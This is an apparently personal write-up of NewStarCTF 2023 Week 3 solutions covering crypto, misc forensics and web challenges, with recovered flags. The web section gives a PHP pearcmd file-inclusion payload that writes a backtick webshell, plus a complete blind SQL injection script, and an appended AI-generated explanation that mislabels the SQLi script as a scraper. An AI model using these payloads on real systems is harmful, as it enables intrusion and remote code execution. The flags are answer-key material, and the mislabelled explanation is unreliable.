NewStarCTF 2023 公开赛道 Week3
官方WP
https://shimo.im/docs/QPMRxzGktzsZnzhz/read
NewStarCTF 2023 Week3 官方WriteUp.html
Crypto
Rabin's RSA
参考博客:RSA攻击之Rabin密码体制_rsa rabin-CSDN博客
使用轩禹一把梭了
Misc
阳光开朗大男孩
社会主义核心价值观https://ctf.bugku.com/tool/cvecode解码得到keythis_password_is_s000_h4rd_p4sssw0rdddd
注意后面三段才是key,前面的this_password_is_
不是key,我搞错了,导致一晚上没解出来,这咋还是道英文题🤡
然后emoji-aes解密https://aghorler.github.io/emoji-aes/
flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}
大怨种
分离GIF后获得一个汉信码https://tuzim.net/hxdecode/,解码即可获得flag
flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}
2-分析
用wireShark打开之后,过滤Http,一个一个看,前50个就可以看到
用户名,漏洞页面,webshell文件,然后转md5,就是flag
best_admin_index.php_wh1t3g0d.php
---> 4069afd7089f7363198d899385ad688b
键盘侠
USB流量的键盘流量
使用B神脚本直接梭哈
USB.zip
把中间的什么upArrow去掉就是flag了
滴滴滴
DTMF拨号音识别,然后再steghide解密kali中steghide命令工具教程;7z命令详解;kali中base64命令详解-CSDN博客
flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}
Web
Include 🍐
题目代码:
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
关键代码段:
过滤了常用的文件包含协议
但是我们还可以用file协议查看
?file=file:///var/www/html/phpinfo
搜索flag,获得假flag,他让我们Check_register_argc_argv
这个配置项的配置是ON打开状态
参考资料:
- CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore
- https://cloud.tencent.com/developer/article/2204400?areaId=106001
- register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog
构造payload:
这里的小马用反引号执行命令
?file=/usr/local/lib/php/pearcmd&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+7.php
medium_sql
写脚本进sql盲注
注意:BUU防爬,把速度放慢一点
import requests
import time
url = "http://519ed4dc-2cc9-4a03-af80-836a736ae0ca.node4.buuoj.cn:81//?id=TMP0919'AND "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'Ascii(Substr((Select flag from here_is_flag),{i},1))>{mid}--+'
r = requests.get(url + payload)
if "points" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
time.sleep(1) # 暂停1秒,降低爬取速度
flag{6fe7bf3b-a5cc-4099-b2e9-d698cde3b0ce}
这段代码是一个Python脚本,用于爬取一个网页并获取其中的数据。
首先,导入了requests库,该库用于发送HTTP请求并获取响应。
然后,定义了一个URL变量,用于存储要爬取的网页地址。
接下来,初始化了一个空字符串result和一个计数器i。
进入一个无限循环,在每次迭代中:
- 计数器i递增1,表示尝试获取下一个字符。
- 设置一个范围head和tail,分别代表可能的ASCII码值的范围(这里设置为32到126)。
- 使用二分查找算法在范围内找到中间值mid。
- 构造一个payload字符串,其中包含当前计数器的值和中间ASCII码值。
- 发送GET请求到目标URL,并将payload附加到URL后。将响应保存在变量r中。
- 检查响应文本中是否包含"points"关键字,如果存在,则将搜索范围缩小为[mid+1, tail];否则,将搜索范围缩小为[head, mid]。
- 如果找到了目标字符(即head不等于32),将其添加到结果字符串result中。
- 如果未找到目标字符,跳出无限循环。
- 打印结果字符串。
- 为了降低爬取速度,添加了暂停1秒的语句(time.sleep(1))。
总体来说,该脚本通过二分查找的方式不断调整ASCII码值范围,逐步获取目标网页中的字符,并将其打印出来。
(内容由讯飞星火AI生成)